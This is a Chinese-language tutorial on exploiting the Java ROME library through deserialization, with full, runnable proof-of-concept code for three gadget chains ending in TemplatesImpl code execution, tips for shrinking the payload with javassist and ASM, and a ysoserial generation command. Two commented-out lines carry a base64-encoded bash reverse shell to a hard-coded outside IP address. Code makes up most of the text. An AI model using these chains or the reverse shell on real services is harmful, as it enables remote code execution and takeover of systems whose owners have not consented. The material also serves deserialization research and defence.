前置
ObjectBean
com.sun.syndication.feed.impl.ObjectBean
是Rome
提供的一个封装类型, 初始化时提供了一个Class
类型和一个Object
对象实例进行封装
他也有三个成员变量,分别是EqualsBean
、 ToStringBean
、CloneableBean
类,为ObjectBean
提供了equals
、toString
、clone
以及hashCode
方法
在ObjectBean#hashCode
中,调用了EqualsBean
类的beanHashCode
方法
这里调用了_obj成员变量的toString
方法,这里就是漏洞触发的地方了
ToStringBean
com.sun.syndication.feed.impl.ToStringBean
是给对象提供toString
方法的类, 类中有两个toString
方法, 第一个是无参的方法, 获取调用链中上一个类或_obj
属性中保存对象的类名, 并调用第二个toString
方法. 在第二个toString
方法中, 会调用BeanIntrospector#getPropertyDescriptors
来获取_beanClass
的所有getter
和setter
方法, 接着判断参数的长度, 长度等于0
的方法会使用_obj
实例进行反射调用, 通过这个点我们可以来触发TemplatesImpl
的利用链.
编写POC
package ysoserial.vulndemo;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class Rome_POC {
//序列化操作工具
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
String bytesOfBase = Base64.getEncoder().encodeToString(bytes);
return bytesOfBase;
}
//反序列化操作工具
public static void unserialize(String bytesOfBase) throws IOException, ClassNotFoundException {
byte[] bytes = Base64.getDecoder().decode(bytesOfBase);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objInput = new ObjectInputStream(byteArrayInputStream);
objInput.readObject();
}
//为类的属性设置值的工具
public static void setFieldVlue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
//payload的生成
public static void exp() throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
//生成恶意的bytecodes
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evilexp");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();
//因为在TemplatesImp类中的构造函数中,_bytecodes为二维数组
byte[][] bytes1 = new byte[][]{bytes};
//创建TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();
setFieldVlue(templates, "_name", "RoboTerh");
setFieldVlue(templates, "_bytecodes", bytes1);
setFieldVlue(templates, "_tfactory", new TransformerFactoryImpl());
//封装一个无害的类并放入Map中
ObjectBean roboTerh = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "RoboTerh"));
HashMap hashmap = new HashMap();
hashmap.put(roboTerh, "RoboTerh");
//通过反射写入恶意类进入map中
ObjectBean objectBean = new ObjectBean(Templates.class, templates);
setFieldVlue(roboTerh, "_equalsBean", new EqualsBean(ObjectBean.class, objectBean));
//生成payload并输出
String payload = serialize(hashmap);
System.out.println(payload);
//触发payload,验证是否成功
unserialize(payload);
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
exp();
}
}
分析调用链
在unserialize方法中打上断点
在unserialize方法中的readObject方法中开始反序列化
跟进到了HashMap#readObject
之后就会求key值的hash,而且这个时候的Key是ObjectBean
类
之后在HashMap#hash
中,会调用key值得hashcode()方法
直接跳转进入ObjectBean#hashCode
,调用了他的属性_equalsBean
的beanHashCode方法
跟进EqualsBean#beanHashCode
方法,这里的_obj是ObjectBean
类的对象,调用了他的toString
方法
跟进ObjectBean#toString
方法,这里的_toStringBean
属性,是ToStringBean
类的对象,调用了他的toString
方法
之后跟进ToStringBean#toString
,这里获取了所有的getter和setter,然后判断参数长度调用了一些方法,当然包括了getOutputProperties
这个方法
后面的步骤就是TemplatesImpl
这个调用链了
getOutputProperties
newTransformer
getTransletInstance
defineTransletClasses
所以他的调用链为:
HashMap.readObject()
ObjectBean.hashCode()
EqualsBean.beanHashCode()
ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties()
其他的骚操作
缩短payload
我们从这篇文章里面可以得到缩小payload的方法
文章提到三部分的缩小
- 序列化数据本身的缩小
- 针对
TemplatesImpl
中_bytecodes
字节码的缩小 - 对于执行的代码如何缩小(
STATIC
代码块)
我们针对ROME链进行分析
在前面编写POC的时候对于TemplatesImpl可以进行优化操作
- 设置
_name
名称可以是一个字符 - 其中
_tfactory
属性可以删除(分析TemplatesImpl
得出) - 其中
EvilByteCodes
类捕获异常后无需处理
所以优化之后为:
package ysoserial.vulndemo;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Opcodes;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome_shorter2 {
public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("a");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public a(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}
//使用asm技术继续缩短
public static byte[] shorterTemplatesImpl(byte[] bytes) throws IOException {
String path = System.getProperty("user.dir") + File.separator + "a.class"; //File.separator是分隔符
try {
Files.write(Paths.get(path), bytes);
} catch (IOException e) {
e.printStackTrace();
}
try {
//asm删除LINENUMBER
byte[] allBytes = Files.readAllBytes(Paths.get(path));
ClassReader classReader = new ClassReader(allBytes);
ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor classVisitor = new shortClassVisitor(api, classWriter);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
classReader.accept(classVisitor, parsingOptions);
byte[] out = classWriter.toByteArray();
Files.write(Paths.get(path), out);
} catch (IOException e) {
e.printStackTrace();
}
byte[] bytes1 = Files.readAllBytes(Paths.get("a.class"));
//删除class文件
Files.delete(Paths.get("a.class"));
return bytes1;
}
//因为ClassVisitor是抽象类,需要继承
public static class shortClassVisitor extends ClassVisitor{
private final int api;
public shortClassVisitor(int api, ClassVisitor classVisitor){
super(api, classVisitor);
this.api = api;
}
}
//设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String code) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(code);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
//setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjQuMjA3LjEyMS84MDAwIDA+JjE=}|{base64,-d}|{bash,-i}")});
setFieldValue(templates, "_bytecodes", new byte[][]{shorterTemplatesImpl(getTemplatesImpl("calc"))});
setFieldValue(templates, "_name", "a");
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean objectBean = new ObjectBean(String.class, "a");
HashMap hashMap = new HashMap();
hashMap.put(null, null);
hashMap.put(objectBean, null);
setFieldValue(objectBean, "_equalsBean", equalsBean);
String s = serialize(hashMap);
System.out.println("长度为:" + s.length());
System.out.println(s);
unserialize(s);
}
}
上图是使用了
- javassist动态生成class文件,而且
_name
仅为一个字符a, 删除了_tfactory
属性值,写入空参构造恶意方法 - 使用asm技术,将动态生成的class文件的
LINENUMBER
指令给删掉
同样,也可以不调用Runtime类来命令执行,使用new ProcessBuilder(new String[]{cmd}).start()更加能够缩短payload
那我们来看看不适用asm删除指令:
长度都已经大于2000了,所以说删除指令并不影响payload的执行且能达到命令执行的目的
其他的链子
我们知道,在ysoserial项目中的ROME链,主要的触发点就是ObjectBean
调用了toString()
方法,进而进入了TOStringBean
的toString()
方法,最后执行了getOutputProperties()这个getter方法,其他的链子中同样可以找到调用了toString方法的类,而且还比这条链子更加短
BadAttributeValueExpException
在这个类中的readObject
方法中
在这里我们读取ObjectInputStream
中的信息
后面通过.get方法得到val的属性值
之后通过一系列判断,进入到了valObj.toString()
方法中,而且这时候的valObj是ToStringBean类,成功触发了他的toString()
方法,到达了命令执行的目的
POC:
package ysoserial.vulndemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class Rome_shorter3 {
public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("Evil");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}
//设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String code) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(code);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")});
setFieldValue(templates, "_name", "a");
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
//防止生成payload的时候触发漏洞
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException, "val", toStringBean);
String s = serialize(badAttributeValueExpException);
System.out.println(s);
System.out.println("长度为:" + s.length());
unserialize(s);
}
}
调用链:
BadAttributeValueExpException#readObject
ToStringBean#toString
TemplatesImpl#getOutputProperties
.....
EqualsBean
在这个类中存在有触发满足条件的getter得方法:
ToStringBean:
EqualsBean:
两个长得确实像
那到底是不是可以利用呢?
在这个类的equals
方法调用了beanEquals
方法
我们也知道在CC7的时候使用了equals
方法
在Hashtable#readObject
中
跟进Hashtable#reconstitutionPut
中
首先调用了key的hashcode方法,求他的hash值,之后在遍历,判断两个的hash值是否相等,如果相等之后才会触发到equals方法
我们就需要两个求hash相等的键:yy / zZ
就是相等的
然后怎么调用equals方法呢?
我们来到他的equals
方法中
如果这里的value为EqualsBean
,而且这里的e.getValue
是TemplateImpl对象这样就能够构造出利用链了
至于HashMap对象求hash值,hashMap 的hashCode 是遍历所有的元素,然后调用hashCode后相加,hashCode的值是key和value的hashCode异或
所以(‘yy’,obj); 是等于put(‘zZ’,obj)
则POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class RomeShorter{
//缩短TemplatesImpl链
public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("Evil");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}
//设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String code) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(code);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
//setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjQuMjA3LjEyMS84MDAwIDA+JjE=}|{base64,-d}|{bash,-i}")});
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")});
setFieldValue(templates, "_name", "a");
EqualsBean bean = new EqualsBean(String.class,"s");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",templates);
map2.put("zZ",bean);
map2.put("yy",templates);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",templates);
String s = serialize(table);
System.out.println(s);
System.out.println(s.length());
unserialize(s);
}
}
长度为1520
那如果我们使用ASM删除指令呢?
//asm
public static byte[] shorterTemplatesImpl(byte[] bytes) throws IOException {
String path = System.getProperty("user.dir") + File.separator + "a.class"; //File.separator是分隔符
try {
Files.write(Paths.get(path), bytes);
} catch (IOException e) {
e.printStackTrace();
}
try {
//asm删除LINENUMBER
byte[] allBytes = Files.readAllBytes(Paths.get(path));
ClassReader classReader = new ClassReader(allBytes);
ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor classVisitor = new Rome_shorter2.shortClassVisitor(api, classWriter);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
classReader.accept(classVisitor, parsingOptions);
byte[] out = classWriter.toByteArray();
Files.write(Paths.get(path), out);
} catch (IOException e) {
e.printStackTrace();
}
byte[] bytes1 = Files.readAllBytes(Paths.get("a.class"));
//删除class文件
Files.delete(Paths.get("a.class"));
return bytes1;
}
//因为ClassVisitor是抽象类,需要继承
public static class shortClassVisitor extends ClassVisitor{
private final int api;
public shortClassVisitor(int api, ClassVisitor classVisitor){
super(api, classVisitor);
this.api = api;
}
}
成功弹出了计算器,并且长度缩短为了1444
生成POC
使用ysoserial工具生成POC
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ROME 'calc'|base64
参考
Java 反序列化漏洞(五) – ROME/BeanShell/C3P0/Clojure/Click/Vaadin | 素十八 (su18.org)